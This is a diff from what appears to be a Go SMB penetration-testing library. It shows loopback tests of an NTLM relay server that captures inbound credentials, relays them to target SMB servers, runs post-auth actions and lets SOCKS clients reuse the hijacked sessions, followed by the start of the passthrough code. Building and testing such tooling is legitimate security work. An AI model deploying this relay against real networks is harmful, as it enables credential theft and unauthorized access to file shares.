// - OnRelaySuccess and OnCredentialCaptured fire;
|
||||
// - a SOCKS5 client can CONNECT to upstream1:445 through the proxy and
|
||||
// issue TreeConnect against the upstream's registered share.
|
||||
func TestRelayServerEndToEnd(t *testing.T) {
|
||||
const (
|
||||
user = "alice"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
mkUpstream := func(name string) (*server.Server, *net.TCPAddr, func()) {
|
||||
s := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
s.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
l, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen %s: %v", name, err)
|
||||
}
|
||||
ch := make(chan error, 1)
|
||||
go func() { ch <- s.Serve(l) }()
|
||||
return s, l.Addr().(*net.TCPAddr), func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = s.Shutdown(ctx)
|
||||
if e := <-ch; e != nil && e != server.ErrServerClosed {
|
||||
t.Errorf("upstream %s Serve: %v", name, e)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_, up1Addr, up1Stop := mkUpstream("up1")
|
||||
defer up1Stop()
|
||||
_, up2Addr, up2Stop := mkUpstream("up2")
|
||||
defer up2Stop()
|
||||
|
||||
var (
|
||||
credsMu sync.Mutex
|
||||
credsCaptured []*relay.Credential
|
||||
successMu sync.Mutex
|
||||
successes []string
|
||||
)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
SocksAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + up1Addr.String(), "smb://" + up2Addr.String()},
|
||||
SelectTarget: relay.RoundRobin(),
|
||||
OnCredentialCaptured: func(_ *server.Conn, cred *relay.Credential) {
|
||||
credsMu.Lock()
|
||||
credsCaptured = append(credsCaptured, cred)
|
||||
credsMu.Unlock()
|
||||
},
|
||||
OnRelaySuccess: func(target string, _ *smb.Connection, _ *relay.Credential) {
|
||||
successMu.Lock()
|
||||
successes = append(successes, target)
|
||||
successMu.Unlock()
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
socksAddr := rs.SocksAddr().(*net.TCPAddr)
|
||||
|
||||
// Drive two inbound auths through the relay.
|
||||
for i := 0; i < 2; i++ {
|
||||
opts := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(opts) // expected to fail (capture-and-drop)
|
||||
}
|
||||
|
||||
// Wait for both upstream sessions to appear in the pool.
|
||||
if !waitFor(2*time.Second, func() bool {
|
||||
return len(rs.Snapshot()) >= 2
|
||||
}) {
|
||||
t.Fatalf("did not pool 2 sessions; have %d", len(rs.Snapshot()))
|
||||
}
|
||||
|
||||
credsMu.Lock()
|
||||
gotCreds := append([]*relay.Credential(nil), credsCaptured...)
|
||||
credsMu.Unlock()
|
||||
if len(gotCreds) < 2 {
|
||||
t.Errorf("OnCredentialCaptured fired %d times, want >=2", len(gotCreds))
|
||||
}
|
||||
|
||||
// Round-robin should have hit both upstream targets.
|
||||
successMu.Lock()
|
||||
gotSuccesses := append([]string(nil), successes...)
|
||||
successMu.Unlock()
|
||||
seen := map[string]bool{}
|
||||
for _, t := range gotSuccesses {
|
||||
seen[t] = true
|
||||
}
|
||||
if len(seen) < 2 {
|
||||
t.Errorf("round-robin did not spread across both targets, got %v", gotSuccesses)
|
||||
}
|
||||
|
||||
// SOCKS5 client: drive smb.NewConnection against upstream1 through the
|
||||
// proxy. The Initiator's username must match the captured credential — the
|
||||
// SOCKS server parses the NTLMSSP AUTHENTICATE and routes to a pool entry
|
||||
// matching (target, user).
|
||||
socksOpts := smb.Options{
|
||||
Host: up1Addr.IP.String(),
|
||||
Port: up1Addr.Port,
|
||||
User: user,
|
||||
Password: "ignored",
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: "ignored", Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: up1Addr.String()},
|
||||
}
|
||||
conn, err := smb.NewConnection(socksOpts)
|
||||
if err != nil {
|
||||
t.Fatalf("SOCKS-fronted NewConnection: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.TreeConnect(share); err != nil {
|
||||
t.Fatalf("SOCKS-fronted TreeConnect %q: %v", share, err)
|
||||
}
|
||||
defer conn.TreeDisconnect(share)
|
||||
|
||||
// Exercise Create + Write + Close + Read translation by round-tripping a
|
||||
// small file through the SOCKS-fronted upstream session.
|
||||
body := []byte("relay socks roundtrip\n")
|
||||
off := 0
|
||||
if err := conn.PutFile(share, "hello.txt", 0, func(buf []byte) (int, error) {
|
||||
if off >= len(body) {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := copy(buf, body[off:])
|
||||
off += n
|
||||
return n, nil
|
||||
}); err != nil {
|
||||
t.Fatalf("SOCKS-fronted PutFile: %v", err)
|
||||
}
|
||||
|
||||
var got []byte
|
||||
if err := conn.RetrieveFile(share, "hello.txt", 0, func(b []byte) (int, error) {
|
||||
got = append(got, b...)
|
||||
return len(b), nil
|
||||
}); err != nil {
|
||||
t.Fatalf("SOCKS-fronted RetrieveFile: %v", err)
|
||||
}
|
||||
if string(got) != string(body) {
|
||||
t.Errorf("SOCKS-fronted RetrieveFile body=%q want %q", got, body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSocksPiggybackReusesPooledSession opens two SOCKS-fronted SMB
|
||||
// connections sequentially against the same pooled upstream session. This
|
||||
// regression-tests MessageID translation in smb_passthrough.forward: the
|
||||
// first piggy-back happens to align because both counters start near zero,
|
||||
// but the second arrives when the upstream MessageID counter has advanced
|
||||
// past anything the new local client has sent — without per-PDU MID
|
||||
// translation the client would reject every reply with "Message Id (N) not
|
||||
// found in outstanding packets".
|
||||
func TestSocksPiggybackReusesPooledSession(t *testing.T) {
|
||||
const (
|
||||
user = "carol"
|
||||
password = "Reuse-Me-1!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
upAddr := upL.Addr().(*net.TCPAddr)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
SocksAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upAddr.String()},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
socksAddr := rs.SocksAddr().(*net.TCPAddr)
|
||||
|
||||
// Drive one inbound auth so the upstream session gets pooled.
|
||||
bait := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(bait)
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("upstream session never pooled (have %d)", len(rs.Snapshot()))
|
||||
}
|
||||
|
||||
socksOpts := smb.Options{
|
||||
Host: upAddr.IP.String(),
|
||||
Port: upAddr.Port,
|
||||
User: user,
|
||||
Password: "ignored",
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: "ignored", Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: upAddr.String()},
|
||||
}
|
||||
|
||||
doRoundtrip := func(label, filename string, body []byte) {
|
||||
conn, err := smb.NewConnection(socksOpts)
|
||||
if err != nil {
|
||||
t.Fatalf("%s NewConnection: %v", label, err)
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.TreeConnect(share); err != nil {
|
||||
t.Fatalf("%s TreeConnect: %v", label, err)
|
||||
}
|
||||
defer conn.TreeDisconnect(share)
|
||||
|
||||
off := 0
|
||||
if err := conn.PutFile(share, filename, 0, func(buf []byte) (int, error) {
|
||||
if off >= len(body) {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := copy(buf, body[off:])
|
||||
off += n
|
||||
return n, nil
|
||||
}); err != nil {
|
||||
t.Fatalf("%s PutFile: %v", label, err)
|
||||
}
|
||||
var got []byte
|
||||
if err := conn.RetrieveFile(share, filename, 0, func(b []byte) (int, error) {
|
||||
got = append(got, b...)
|
||||
return len(b), nil
|
||||
}); err != nil {
|
||||
t.Fatalf("%s RetrieveFile: %v", label, err)
|
||||
}
|
||||
if string(got) != string(body) {
|
||||
t.Errorf("%s body=%q want %q", label, got, body)
|
||||
}
|
||||
}
|
||||
|
||||
doRoundtrip("first piggy-back", "first.txt", []byte("piggyback-1\n"))
|
||||
doRoundtrip("second piggy-back", "second.txt", []byte("piggyback-2\n"))
|
||||
}
|
||||
|
||||
// TestPostAuthAction wires a FuncAction into RelayServer and verifies it runs
|
||||
// against the captured upstream session.
|
||||
func TestPostAuthAction(t *testing.T) {
|
||||
const (
|
||||
user = "bob"
|
||||
password = "Letmein!"
|
||||
domain = "WORKGROUP"
|
||||
share = "data"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen up: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
|
||||
var actionFired atomic.Bool
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upL.Addr().String()},
|
||||
PostAuthActions: []relay.PostAuthAction{
|
||||
relay.FuncAction{
|
||||
NameStr: "smoke",
|
||||
Fn: func(_ context.Context, conn *smb.Connection, cred *relay.Credential, _ server.Logger) error {
|
||||
if conn == nil {
|
||||
return fmt.Errorf("nil conn")
|
||||
}
|
||||
if cred == nil || cred.Username != user {
|
||||
return fmt.Errorf("wrong cred")
|
||||
}
|
||||
actionFired.Store(true)
|
||||
return nil
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
|
||||
clientOpts := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(clientOpts)
|
||||
|
||||
if !waitFor(2*time.Second, actionFired.Load) {
|
||||
t.Fatalf("PostAuthAction did not fire")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSocksUserRouting verifies that when two pooled sessions for the same
|
||||
// target but different captured users are present, two SOCKS clients
|
||||
// authenticating as those respective users each get routed to the correct
|
||||
// pool entry. This is the regression test for the "always reuses first
|
||||
// connection in pool" bug.
|
||||
func TestSocksUserRouting(t *testing.T) {
|
||||
const (
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
// Single upstream server with two accounts.
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{
|
||||
"alice": {NTHash: ntHash},
|
||||
"bob": {NTHash: ntHash},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
upAddr := upL.Addr().(*net.TCPAddr)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
SocksAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upAddr.String()},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
socksAddr := rs.SocksAddr().(*net.TCPAddr)
|
||||
|
||||
// Two bait connections — one per user — both land in the pool against
|
||||
// the same upstream target.
|
||||
for _, u := range []string{"alice", "bob"} {
|
||||
bait := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: u,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: u, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(bait)
|
||||
}
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 2 }) {
|
||||
t.Fatalf("expected 2 pooled sessions, got %d", len(rs.Snapshot()))
|
||||
}
|
||||
|
||||
// Each user drops a file via SOCKS. The SOCKS server must route alice
|
||||
// onto the alice-pool-entry and bob onto the bob-pool-entry. We verify
|
||||
// by writing a per-user file and reading it back through the SAME pool
|
||||
// entry (the file name encodes the user). If routing were broken (e.g.
|
||||
// both clients land on alice's session), the read for bob would either
|
||||
// fail or return alice's content.
|
||||
drop := func(user, body string) error {
|
||||
opts := smb.Options{
|
||||
Host: upAddr.IP.String(),
|
||||
Port: upAddr.Port,
|
||||
User: user,
|
||||
Password: "ignored",
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: "ignored", Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: upAddr.String()},
|
||||
}
|
||||
conn, err := smb.NewConnection(opts)
|
||||
if err != nil {
|
||||
return fmt.Errorf("NewConnection: %w", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.TreeConnect(share); err != nil {
|
||||
return fmt.Errorf("TreeConnect: %w", err)
|
||||
}
|
||||
defer conn.TreeDisconnect(share)
|
||||
off := 0
|
||||
buf := []byte(body)
|
||||
if err := conn.PutFile(share, user+".txt", 0, func(b []byte) (int, error) {
|
||||
if off >= len(buf) {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := copy(b, buf[off:])
|
||||
off += n
|
||||
return n, nil
|
||||
}); err != nil {
|
||||
return fmt.Errorf("PutFile: %w", err)
|
||||
}
|
||||
var got []byte
|
||||
if err := conn.RetrieveFile(share, user+".txt", 0, func(b []byte) (int, error) {
|
||||
got = append(got, b...)
|
||||
return len(b), nil
|
||||
}); err != nil {
|
||||
return fmt.Errorf("RetrieveFile: %w", err)
|
||||
}
|
||||
if string(got) != body {
|
||||
return fmt.Errorf("body mismatch: got %q want %q", got, body)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := drop("alice", "from-alice"); err != nil {
|
||||
t.Errorf("alice via SOCKS: %v", err)
|
||||
}
|
||||
if err := drop("bob", "from-bob"); err != nil {
|
||||
t.Errorf("bob via SOCKS: %v", err)
|
||||
}
|
||||
|
||||
// A SOCKS client claiming an unmatched user should be rejected at
|
||||
// SessionSetup with LOGON_FAILURE.
|
||||
bogusOpts := smb.Options{
|
||||
Host: upAddr.IP.String(),
|
||||
Port: upAddr.Port,
|
||||
User: "nobody",
|
||||
Password: "ignored",
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: "nobody", Password: "ignored", Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
ProxyDialer: &fixedSocksDialer{socksAddr: socksAddr.String(), target: upAddr.String()},
|
||||
}
|
||||
if _, err := smb.NewConnection(bogusOpts); err == nil {
|
||||
t.Errorf("expected unmatched-user SOCKS auth to fail, got success")
|
||||
}
|
||||
}
|
||||
|
||||
// fixedSocksDialer is a proxy.Dialer that ignores the requested address and
|
||||
// always asks the SOCKS server to CONNECT to the configured fixed target.
|
||||
// Used in the test so smb.NewConnection's TCP dial lands on the SOCKS-fronted
|
||||
// upstream session without us having to plumb the target through to it.
|
||||
type fixedSocksDialer struct {
|
||||
socksAddr string
|
||||
target string
|
||||
}
|
||||
|
||||
func (d *fixedSocksDialer) Dial(_, _ string) (net.Conn, error) {
|
||||
return socks5Connect(d.socksAddr, d.target)
|
||||
}
|
||||
|
||||
// DialContext is required by smb.NewConnection (asserts proxy.ContextDialer).
|
||||
func (d *fixedSocksDialer) DialContext(_ context.Context, _, _ string) (net.Conn, error) {
|
||||
return socks5Connect(d.socksAddr, d.target)
|
||||
}
|
||||
|
||||
// socks5Connect performs a minimal RFC 1928 CONNECT handshake against the
|
||||
// SOCKS5 server at proxy and returns the established connection.
|
||||
func socks5Connect(proxy, target string) (net.Conn, error) {
|
||||
c, err := net.DialTimeout("tcp", proxy, 2*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dial socks: %w", err)
|
||||
}
|
||||
// Greet: VER=5 NMETHODS=1 NoAuth=0
|
||||
if _, err := c.Write([]byte{0x05, 0x01, 0x00}); err != nil {
|
||||
c.Close()
|
||||
return nil, err
|
||||
}
|
||||
hdr := make([]byte, 2)
|
||||
if _, err := readFull(c, hdr); err != nil {
|
||||
c.Close()
|
||||
return nil, fmt.Errorf("read greeting: %w", err)
|
||||
}
|
||||
if hdr[0] != 0x05 || hdr[1] != 0x00 {
|
||||
c.Close()
|
||||
return nil, fmt.Errorf("unexpected greeting reply % x", hdr)
|
||||
}
|
||||
host, portStr, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
c.Close()
|
||||
return nil, err
|
||||
}
|
||||
var port uint16
|
||||
fmt.Sscanf(portStr, "%d", &port)
|
||||
req := []byte{0x05, 0x01, 0x00, 0x03, byte(len(host))}
|
||||
req = append(req, []byte(host)...)
|
||||
req = append(req, byte(port>>8), byte(port))
|
||||
if _, err := c.Write(req); err != nil {
|
||||
c.Close()
|
||||
return nil, err
|
||||
}
|
||||
resp := make([]byte, 4)
|
||||
if _, err := readFull(c, resp); err != nil {
|
||||
c.Close()
|
||||
return nil, fmt.Errorf("read connect reply: %w", err)
|
||||
}
|
||||
if resp[1] != 0x00 {
|
||||
c.Close()
|
||||
return nil, fmt.Errorf("socks reply status 0x%02x", resp[1])
|
||||
}
|
||||
// Drain BND.ADDR (depends on ATYP) + BND.PORT.
|
||||
switch resp[3] {
|
||||
case 0x01:
|
||||
_, err = readFull(c, make([]byte, 4))
|
||||
case 0x04:
|
||||
_, err = readFull(c, make([]byte, 16))
|
||||
case 0x03:
|
||||
l := make([]byte, 1)
|
||||
if _, err = readFull(c, l); err == nil {
|
||||
_, err = readFull(c, make([]byte, l[0]))
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
_, err = readFull(c, make([]byte, 2))
|
||||
}
|
||||
if err != nil {
|
||||
c.Close()
|
||||
return nil, err
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func readFull(c net.Conn, b []byte) (int, error) {
|
||||
got := 0
|
||||
for got < len(b) {
|
||||
n, err := c.Read(b[got:])
|
||||
got += n
|
||||
if err != nil {
|
||||
return got, err
|
||||
}
|
||||
}
|
||||
return got, nil
|
||||
}
|
||||
|
||||
func waitFor(d time.Duration, cond func() bool) bool {
|
||||
deadline := time.Now().Add(d)
|
||||
for {
|
||||
if cond() {
|
||||
return true
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return false
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,732 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/gofork/encoding/asn1"
|
||||
|
||||
"github.com/jfjallid/go-smb/gss"
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/encoder"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// SMBPassthrough handles a SOCKS-fronted SMB conversation by raw-forwarding
|
||||
// PDUs over the pooled upstream *smb.Connection. The local-side Negotiate and
|
||||
// SessionSetup are answered with synthetic responses (we never derive keys on
|
||||
// the SOCKS side, so signing/encryption stay off). Subsequent PDUs are
|
||||
// forwarded to the upstream with TreeID/SessionID/FileID translation.
|
||||
//
|
||||
// If Resolve is set, the pooled session is selected on SessionSetup leg 2
|
||||
// using the username/domain parsed out of the inbound NTLMSSP AUTHENTICATE.
|
||||
// Otherwise the pre-set Upstream field is used unconditionally.
|
||||
type SMBPassthrough struct {
|
||||
Local net.Conn
|
||||
Target string // upstream "host:port" the SOCKS client asked for (used by Resolve)
|
||||
Upstream *pooledSession
|
||||
Resolve func(target, domain, user string) *pooledSession
|
||||
Logger server.Logger
|
||||
|
||||
localSessionID uint64
|
||||
upstreamSessionID uint64
|
||||
|
||||
tableMu sync.Mutex
|
||||
trees map[uint32]uint32 // local TID -> upstream TID
|
||||
files map[[16]byte][]byte // local FileID -> upstream FileID (16 bytes)
|
||||
|
||||
nextTID uint32
|
||||
nextFile uint64 // counter for synthesizing local FileIDs
|
||||
}
|
||||
|
||||
// Run drives the local-side handshake then forwards subsequent PDUs to
|
||||
// Upstream until the local connection closes or the upstream errors.
|
||||
func (p *SMBPassthrough) Run(ctx context.Context) error {
|
||||
if p.Resolve == nil && (p.Upstream == nil || p.Upstream.Conn == nil) {
|
||||
return fmt.Errorf("nil upstream and no Resolve")
|
||||
}
|
||||
if p.Logger == nil {
|
||||
p.Logger = log
|
||||
}
|
||||
// Local session ID is invented for the SOCKS client; it has no relation to
|
||||
// the upstream's session ID (which we only learn after Resolve). A random
|
||||
// value with a recognizable high-bit marker keeps logs readable.
|
||||
var sid [8]byte
|
||||
if _, err := rand.Read(sid[:]); err != nil {
|
||||
return fmt.Errorf("rand for local session ID: %w", err)
|
||||
}
|
||||
p.localSessionID = binary.LittleEndian.Uint64(sid[:])&0x00FFFFFFFFFFFFFF | 0xC0FFEE0000000000
|
||||
if p.Upstream != nil && p.Upstream.Conn != nil {
|
||||
p.upstreamSessionID = p.Upstream.Conn.UpstreamSessionID()
|
||||
}
|
||||
p.trees = map[uint32]uint32{}
|
||||
p.files = map[[16]byte][]byte{}
|
||||
p.nextTID = 1
|
||||
|
||||
// Stage 1: Negotiate.
|
||||
pkt, err := readNetBIOSPacket(p.Local)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read Negotiate: %w", err)
|
||||
}
|
||||
if !isSMB2(pkt) {
|
||||
// Some clients open with SMB1 multi-protocol Negotiate — answer with
|
||||
// an SMB2 NegotiateRes carrying DialectRevision = SMB2_ALL so the
|
||||
// client retries in SMB2.
|
||||
if len(pkt) >= 4 && string(pkt[:4]) == "\xffSMB" {
|
||||
if err := p.writeMultiProtoNeg(); err != nil {
|
||||
return fmt.Errorf("write multi-proto neg: %w", err)
|
||||
}
|
||||
pkt, err = readNetBIOSPacket(p.Local)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read second Negotiate: %w", err)
|
||||
}
|
||||
} else {
|
||||
return fmt.Errorf("expected SMB2 Negotiate, got % x", pkt[:4])
|
||||
}
|
||||
}
|
||||
if cmdOf(pkt) != smb.CommandNegotiate {
|
||||
return fmt.Errorf("expected Negotiate, got command 0x%04x", cmdOf(pkt))
|
||||
}
|
||||
if err := p.replyNegotiate(pkt); err != nil {
|
||||
return fmt.Errorf("reply Negotiate: %w", err)
|
||||
}
|
||||
|
||||
// Stage 2: SessionSetup leg 1 (NTLMSSP NEGOTIATE -> CHALLENGE).
|
||||
pkt, err = readNetBIOSPacket(p.Local)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read SessionSetup1: %w", err)
|
||||
}
|
||||
